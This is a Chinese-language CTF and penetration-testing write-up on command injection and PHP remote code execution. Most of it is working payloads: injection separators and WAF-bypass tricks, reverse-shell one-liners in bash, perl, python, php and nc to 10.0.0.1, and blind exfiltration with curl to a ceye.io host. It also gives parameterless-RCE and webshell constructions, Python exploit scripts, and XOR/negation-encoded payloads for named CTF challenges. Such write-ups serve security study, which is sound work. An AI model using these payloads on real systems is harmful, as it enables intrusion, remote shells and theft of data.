命令执行的坑其实早就想填了。最早是因为校赛时,easyphp一题自己因为不熟悉命令执行的一些特性导致套娃题绕到最后一层却没拿到flag。当时十分不爽,下定决心要好好了解下命令执行的相关知识点。
关于命令执行我大体上归为php绕过+rce两类。php的难点主要是在绕过写shell上,而linux的知识主要在RCE达成上。
先从简单说起:
linux 命令& RCE
rce,即remote command/code execute。通常都是渗透中希望能够利用的漏洞之一。因为我们可以以此进行命令执行,读取我们想要的文件或者反弹shell。
命令及关键字waf
简单的命令执行如DVWA靶场里的command injection 模块。它给了我们一个输入框,而它会将输入框的内容当做命令执行。
这样一来我们就可以用命令拼接来执行其他命令。
1.使用&& & ;直接多语句执行
127.0.0.1&&ls
127.0.0.1&ls
127.0.0.1; ls
2.高级一(亿)点的,使用管道符
127.0.0.1| ls
管道符的妙用不止这么一点了。比如CTF或实战渗透中都可能用到的
echo 'Y2F0Cg==' | base64 -d
只要用管道符可以bypass掉绝大部分关键字的waf。
实际利用之读flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|bash
bash如果没有可以用sh
echo Y2F0IGZsYWcucGhw|base64 -d|sh
同时应对关键字waf,linux的特性还允许我们花式绕过
对空格
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
对关键字,如flag,cat,包括上面管道符在内也有很多方法。
cat fl* linux中*通配符匹配任意字数
echo xxxxxxx| base64 -d
ca\t fla\g
cat fl''ag
a=f;b=lag;cat $a$b
对命令函数cat的waf,寻找替代也是一种方法,毕竟读取文件函数很多。
head 读头几行
tail 读尾几行
tac 按行倒着读
more
less
nl
sort
......
如果要奇淫技巧,可以使用如cat `ls`
反引号在linux中作为内联执行。将直接输出结果。所以假如我们就在flag的目录下,这是完全可以直接耍的。
以上都是直接在webshell执行读取文件的基础上的。实际上有时候我们在实际渗透中需要的是反弹shell。包括有的题目也是需要shell来找flag的。
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
这个网站总结了常见的反弹shell的方式。实际上总结下常见的几种反弹shell
1.bash
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
bash式的用到的非常多。然而还是会出现有的容器因为是docker起的而没有bash指令的问题,这种时候通常用sh替代。但是sh并不能反弹shell。所以这就涉及到其他的几种方法。
2.perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3.python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
选择python是个不错的替代方式,因为大部分linux机子上都装好了python。(比如题目环境是flask起的时候,肯定是有python了)
4.php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'
php同理。
5.netcat
nc -e /bin/sh 10.0.0.1 1234
原来看到文章说,所有linux机子都预装好了nc。我觉得是很棒的。不过自己尝试过nc反弹的shell交互性稍微差了一点点。
如果遇到waf,可以用上面普通命令一样的bypass方法解决。
或者我们可以如此,使用curl wget等等直接访问我们vps上的提前写好的反弹shell文件。
之于更深一步的命令执行暂且不谈。在渗透中自然会用到的。
bypass长度限制
HITCON2017的baby-first-revenge的例子可以说是老例子了。它的bypass长度可以达到5个
具体trick是以下这些:
ls -t 可以按时间顺序列出所有文件
linux可以用\进行命令的换行
换行不影响命令执行
sh _只要四个字符就可以执行命令
然而因为这个解决方案太过高级,导致大家都会了后就不会再有人出这方面的题目考察了......
盲打 RCE & timebased RCE
time-based RCE是一个常常作为拔高水平的命令执行考点。具体常见于一下代码
$cmd = $_GET[`cmd`];
`$cmd`;
当我们的命令执行没有回显怎么办?常见办法之一当然是利用curl,或者wget把结果打到vps上。有点xxe盲打的味道。只不过并不需要提前放好文件,只要vps监听即可。
curl http://ip.port.b182oj.ceye.io/`ls`
当然get请求的弊端之一是我们只能打出结果的一行结果,这当然是不行的
但是我们可以轻松利用sed命令解决问题。
curl http://ip.port.b182oj.ceye.io/`ls | sed -n 1p`
curl http://ip.port.b182oj.ceye.io/`ls | sed -n 2p`
curl http://ip.port.b182oj.ceye.io/`ls | sed -n 3p`
将分别打出每一行的信息。
进一步还可以打出任意行任意字段内容
curl http://ip.port.b182oj.ceye.io/`ls | sed -n 1p | cut -c 1` 截取第一个字
curl http://ip.port.b182oj.ceye.io/`ls | sed -n 1p | cut -c 1-3` 截取第1~3个字
curl http://ip.port.b182oj.ceye.io/`ls | sed -n 1p | cut -c 2-5` 截取第2~5个
在此基础上也诞生了time-based RCE。原理就如上面一样。因为已经没有回显了,我们在浏览器页面就可以直接构造rce
if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
类似sql时间盲注的原理。其中[ ]是linux的条件表达式符号。使用base32是因为我们的返回值可能有特殊字符。
这样就完全可以依靠盲打脚本来进行命令执行。
关于linux命令还有些tricks 没有提到,一方面是因为自己了解的毕竟是有限的。另一方面是因为下面的内容中将继续使用到。关于php结合linux命令的一些tricks。
php RCE bypass & 花式写shell
php中的RCE方式可不少。通常最大的难点是写一个webshell出来。而写出webshell后执行命令也会遇到禁用系统函数的情况。这种时候就有许许多多的高级技巧。不仅仅是php的特性问题了,还有许多高级构造。
无参RCE
之所以把无参RCE放到这一块。就是因为无参RCE的利用主要依靠php函数达成。所以小结下常见trick。
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
a(b(c()));
a();
个人第一习惯首先是使用
print_r(scandir('.'))
探测目录。但此处显然. ''都使用不了。那么怎么构造呢?我们可以轻松使用函数达成
print_r(scandir(current(localeconv())));
localeconv返回一个数组。其数组头一个值为decimal_point,也就是一个点。 currenr()起到取出数组第
一个变量的作用,所以可以以此替代scandir要用的点。
还有一种常规点的做法,只需getcwd()即可返回目录。而dirname()可以往目录上跳。当然,如果想读取的文件在上级目录,就得再加上一个chdir()
比如code-breakng的payload
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
其中用到的array_reverse()也是为了应对flag的数组索引不是特殊索引的情况。调整后使用current, next,end可以解决大部分问题。
当然这类无参RCE还有其他用法,比如:
1.getenv()函数
这一函数将返回一个环境变量的值,而我们需要的是从这个数组中选取需要的值进行利用。
常常是:
array_rand(array_flip(getenv()));
可以随机获取数组中某一个键值。爆破之后能拿到数组中指定值
2.getallheaders()
从http头中获取值。因此十分便捷。比如当http头最后一个值使我们构造好的byc: phpinfo()
var_dump(end(getallheaders()));
如此即可执行phpinfo()
但是注意,这是个apache函数,如果遇到nginx将不再适用。
3.get_defined_vars()
正是为了应对getallheaders的缺陷,我们可以选择get_defined_vars()。因为它返回的将是全局变量,全局变量包括$_GET $_POST都是可以直接使用的。这样我们就多了一个可以执行命令的函数。比如取出了_GET的话。
?cmd=eval(end(current(get_defined_vars())));&byc=system('ls');
甚至我们也能利用$_FILES,通过伪造文件上传达成调用
import requests
from io import BytesIO
payload = "system('cat /flag');".encode('hex')
files = {
payload: BytesIO('2333!')
}
r = requests.post('http://localhost/shell.php?cmd=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print (r.text)
使用hex2bin是为了防止关键字的过滤或转换。
4.session_id()函数
与上面的全局变量同样的道理。只不过我们可以利用php的特性。只要是PHPSESSID后的值,就可以直接赋给session_id。既然如此我们只需解决session_id值为字母加数字的问题了。同样使用hex2bin即可
前提条件是要先session_start()
import requests
url = 'http://localhost/shell.php?cmd=eval(hex2bin(session_id(session_start())));'
payload = "echo '23333';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print (r.text)
花式写shell
花式写shell算是php一个十分考验技巧的点了。当然之前上面linux部分所写的bypass长度也算花式写shell。但是那主要利用的是linux的特性。我们这里尝试使用php的特性,写几种最常见的webshell
1.常规拆分
cmd=`$_GET[1]`;&1
基本算是用烂了,也是我这种菜鸡最喜欢用的类型。相当与写一个一句话木马。
2.include
cmd=include$_GET[1];
很妙,但是可能会受限于远程文件包含。这个选项默认是不开启的。
3.include升级版
为了解决这一问题,我们可以尝试本地文件包含。为此只要file_put_contents()写入一个文件即可
$_GET[a](N,a,8);&a=file_put_contents
其中file_put_contents的第一个参数是文件名。PHP会认为N是一个常量,但之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
由于写入符号时函数会报错,可以选择写入payload的base64,分次写入,最后伪协议包含:
cmd=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
4.变长参数+回调后门
p牛给出的无视waf的神招。利用了php5.6的特性。
在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。
所以可以
cmd=usort(...$_GET);
以下参数get传值。
1[]=test&1[]=phpinfo();&2=assert
p牛解释是:
大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']和assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();。修改phpinfo();为webshell即可。
这个做法最妙的就是...$_GET绕过waf。
写畸形shell
php的某些特性
应该说要先熟悉一下php中大括号的妙处,可变变量的妙处
$a="hello";
$$a="world";
echo "$a ${$a}";//hello world
echo "$a $hello";//hello world
${"_GET"}====>$_GET
同时在${}中,字符串如果不带'' ," "。并不会影响生成以其为名的变量
php > $a=1111;
php > var_dump(${a});
PHP Warning: Use of undefined constant a - assumed 'a' (this will throw an Error in a future version of PHP) in php shell code on line 1
假如我们换成字符串,就会发现它在${}中是会被解析的。
$a='b'
${$a}=>$b
var_dump(${$a});=>var_dump($b);
$b='1'=>string(1) "1"
因此我们可以明白:
$$或${}能利用一个字符串创造出一个同名变量。变量名只能包含字母数字字符以及下划线;但是${}可以使得只包含数字,比如${1}。此时${1}就变成了一个变量。
各种方法
异或
这个方法很常见,但是自己还没在实际比赛中用到过......
一个非数字字母的后门
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
其实异或就是字符的ascii转二进制异或后再转ascii转字符串。
2.取反
能异或就能取反。位运算牛b。比如p牛的这个例子:
'和'{2}的结果"\x8c"取反是s
这里还利用了php中数组可以使用{}替换[]的性质。
"和"的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)
php > echo(~("\x8f\x97\x8f\x96\x91\x99\x90"));
phpinfo
3.自增运算符
自增运算符构造数字也是技巧
$_++;
print($_);
?>
$_=('>'>''>'
4.短标签+通配符
之前在ciscn中遇到过。一个<?php ?>算是php的长标签,而=?>算短标签。但是这样就可以执行函数了,而且可以通过fuzz达到任意命令执行的效果。由于linux中可以用?来进行单个字母的匹配:
$_=`/???/???%20/???/???/????/?????.???`;?>=$_?>
/bin/cat /var/www/html/index.php
实际上是应用了linux的glob通配符的作用。既然`可以内联执行。只要能匹配完全就可以达到写shell命令执行的效果。
当然,符合匹配结果的命令可能有多个。我们可以加上其他通配符
[^x] 表示这个位置不是字符x
[0-9] 表示数字范围
[@-[]表示大写字母
假如匹配到,我们就可以任意命令执行了。
5.php7 动态函数
(~%8F%97%8F%96%91%99%90)();
//phpinfo()
php7就支持使用($a)();这样的方法来执行动态函数的
这里补一个SUCTF-easyweb用到的:
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
要点一个是限制了shell的长度,且不能用数字字母下划线。另一个就是限制同一字母出现字数不能超过12个。写成了的话调用get_the_flag进入下一步。
方法便是使用异或进行构造,首先是我们的预期shell写法,因为有现成的函数get_the_flag要调用,所以写成
$_GET{1}&1=
==>${"_GET"}{1}
$_GET{1}()&1=get_the_flag
==>${"_GET"}{1}()&1=get_the_flag
先使用脚本fuzz出合适的选择
find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))
从结果中选择尽可能重复的字母,即可构造出shell及其调用
${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
实际上这个利用并非单纯地异或这么简单。Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号
print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))
这样就可以任意构造了。
做这题[ISITDTU 2019]EasyPHP时还遇到对重复字符有所限制的。
稍微总结下
长度过长,
由于
t = s^c^d
n = i^c^d
r = a^c^p
因此print_r(scandir(.))可以缩减成
((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff))
参考文章: